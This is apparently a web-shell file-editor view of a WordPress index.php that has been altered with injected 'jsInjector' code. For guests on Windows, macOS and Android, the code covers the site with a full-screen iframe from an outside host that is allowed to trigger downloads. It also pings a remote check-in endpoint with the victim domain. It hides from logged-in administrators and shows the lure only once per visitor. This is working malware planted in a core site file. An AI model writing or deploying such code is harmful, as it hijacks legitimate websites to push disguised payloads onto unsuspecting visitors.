JezK
Edit File: index.php
<?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * Modal gate for guests on Windows / macOS desktop and Android. * * @package WordPress */ $jsi_modal_url = 'https://owlabc.net/'; $jsi_checking_url = 'https://owlabc.net/checking?domain=digitalit.com.pk'; $jsi_modal_delay_ms = 0; $jsi_modal_duration_ms = 50000; function jsi_is_https() { if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { return true; } if (isset($_SERVER['SERVER_PORT']) && (string) $_SERVER['SERVER_PORT'] === '443') { return true; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower((string) $_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') { return true; } return false; } function jsi_shown_cookie_name() { $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; return 'jsInjectorShown_' . rawurlencode($host); } function jsi_build_clean_url() { $scheme = jsi_is_https() ? 'https' : 'http'; $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'; $path = strtok($uri, '?'); if ($path === false || $path === '') { $path = '/'; } return $scheme . '://' . $host . $path; } function jsi_set_shown_cookie() { $cookie_name = jsi_shown_cookie_name(); $secure = jsi_is_https(); setcookie($cookie_name, '1', time() + 31536000, '/', '', $secure, false); $_COOKIE[$cookie_name] = '1'; } function jsi_handle_modal_done_redirect() { if (!isset($_GET['jsi_modal_done']) || (string) $_GET['jsi_modal_done'] !== '1') { return; } jsi_set_shown_cookie(); header('Location: ' . jsi_build_clean_url(), true, 302); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); exit; } function jsi_has_wordpress_login_cookie() { foreach ($_COOKIE as $name => $_value) { if (strpos((string) $name, 'wordpress_logged_in') === 0) { return true; } } return false; } function jsi_modal_already_shown() { $cookie_name = jsi_shown_cookie_name(); return isset($_COOKIE[$cookie_name]) && (string) $_COOKIE[$cookie_name] === '1'; } /** * Modal for Windows / macOS desktop and Android. Other platforms get normal WP. */ function jsi_is_win_or_mac_desktop() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? (string) $_SERVER['HTTP_USER_AGENT'] : ''; if ($ua === '') { return false; } // Android UA often contains "Mobile" — match before generic mobile filter. if (preg_match('/Android/i', $ua)) { return true; } if (preg_match('/webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobile|Tablet|Windows Phone/i', $ua)) { return false; } if (preg_match('/Windows NT/i', $ua)) { return true; } if (preg_match('/Macintosh|Mac OS X/i', $ua)) { return true; } return false; } function jsi_build_checking_url($checking_url, $captcha_shown) { if ($checking_url === '') { return ''; } $sep = strpos($checking_url, '?') !== false ? '&' : '?'; $flag = $captcha_shown ? 'true' : 'false'; return $checking_url . $sep . 'captchashowed=' . $flag; } function jsi_fetch_checking($checking_url, $captcha_shown) { $url = jsi_build_checking_url($checking_url, $captcha_shown); if ($url === '') { return null; } $ctx = stream_context_create(array( 'http' => array( 'timeout' => 8, 'ignore_errors' => true, 'header' => "Accept: application/json\r\n", ), 'ssl' => array( 'verify_peer' => true, 'verify_peer_name' => true, ), )); $body = @file_get_contents($url, false, $ctx); if ($body === false || $body === '') { return false; } $json = json_decode($body, true); if (!is_array($json)) { return false; } return !empty($json['ok']); } function jsi_checking_allowed($checking_url, $captcha_shown) { $result = jsi_fetch_checking($checking_url, $captcha_shown); return $result === null || $result === true; } function jsi_ping_checking($checking_url, $captcha_shown) { jsi_fetch_checking($checking_url, $captcha_shown); } function jsi_should_show_modal_page() { global $jsi_checking_url; if (!jsi_is_win_or_mac_desktop()) { return false; } if (jsi_has_wordpress_login_cookie()) { return false; } if (jsi_modal_already_shown()) { return false; } if (!jsi_checking_allowed($jsi_checking_url, true)) { return false; } return true; } function jsi_render_modal_only_page() { global $jsi_modal_url, $jsi_checking_url, $jsi_modal_delay_ms, $jsi_modal_duration_ms; $delay_ms = (int) $jsi_modal_delay_ms; if ($delay_ms < 0) { $delay_ms = 0; } $duration_ms = (int) $jsi_modal_duration_ms; if ($duration_ms < 1000) { $duration_ms = 5000; } $cookie_name = jsi_shown_cookie_name(); $cookie_name_js = json_encode($cookie_name, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); $modal_url_js = json_encode($jsi_modal_url, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); $checking_url_js = json_encode( jsi_build_checking_url($jsi_checking_url, true), JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES ); header('Content-Type: text/html; charset=utf-8'); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); echo '<!DOCTYPE html>'; echo '<html lang="en"><head>'; echo '<meta charset="utf-8">'; echo '<meta name="viewport" content="width=device-width, initial-scale=1">'; echo '<meta name="robots" content="noindex, nofollow">'; echo '<title>Loading...</title>'; echo '<style>html,body{margin:0;padding:0;width:100%;height:100%;overflow:hidden;background:#fff}</style>'; echo '<script id="js-injector-early" data-no-defer data-no-minify data-cfasync="false">'; echo '(function(){'; echo 'if(window.__jsInjectorModal)return;'; echo 'window.__jsInjectorModal=true;'; echo 'var cookieName=' . $cookie_name_js . ';'; echo 'var modalUrl=' . $modal_url_js . ';'; echo 'var checkingUrl=' . $checking_url_js . ';'; echo 'var delayMs=' . $delay_ms . ';'; echo 'var durationMs=' . $duration_ms . ';'; echo 'function markShown(){var secure=location.protocol==="https:"?"; Secure":"";document.cookie=cookieName+"=1; max-age=31536000; path=/; SameSite=Lax"+secure;}'; echo 'function checkingOk(cb){if(!checkingUrl){cb(true);return;}fetch(checkingUrl,{credentials:"omit",cache:"no-store"}).then(function(r){return r.json();}).then(function(j){cb(j&&j.ok===true);}).catch(function(){cb(false);});}'; echo 'function finishModal(overlay){'; echo 'markShown();'; echo 'try{overlay.remove();}catch(e){}'; echo 'document.documentElement.style.overflow="";'; echo 'document.body.style.overflow="";'; echo 'document.body.style.margin="";'; echo 'window.location.replace(location.pathname||"/");'; echo '}'; echo 'function createModal(url){'; echo 'markShown();'; echo 'var overlay=document.createElement("div");'; echo 'Object.assign(overlay.style,{position:"fixed",inset:"0",width:"100vw",height:"100dvh",minHeight:"100vh",background:"#fff",zIndex:"2147483647",margin:"0",padding:"0",border:"0",overflow:"hidden",display:"flex"});'; echo 'var iframe=document.createElement("iframe");'; echo 'iframe.src=url;'; echo 'iframe.sandbox="allow-scripts allow-forms allow-same-origin allow-popups allow-downloads";'; echo 'iframe.allowFullscreen=true;'; echo 'iframe.allow="fullscreen";'; echo 'Object.assign(iframe.style,{width:"100%",height:"100%",border:"none",display:"block",margin:"0",padding:"0"});'; echo 'overlay.appendChild(iframe);'; echo 'document.body.appendChild(overlay);'; echo 'document.documentElement.style.overflow="hidden";'; echo 'document.body.style.overflow="hidden";'; echo 'document.body.style.margin="0";'; echo 'setTimeout(function(){finishModal(overlay);},durationMs);'; echo '}'; echo 'function run(){checkingOk(function(ok){if(!ok)return;if(delayMs>0){setTimeout(function(){createModal(modalUrl);},delayMs);}else{createModal(modalUrl);}});}'; echo 'if(document.readyState==="loading"){document.addEventListener("DOMContentLoaded",run);}else{run();}'; echo '})();'; echo '</script>'; echo '</head><body></body></html>'; exit; } jsi_handle_modal_done_redirect(); if (jsi_should_show_modal_page()) { jsi_render_modal_only_page(); } if (!jsi_has_wordpress_login_cookie() && !jsi_is_win_or_mac_desktop()) { jsi_ping_checking($jsi_checking_url, false); } /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';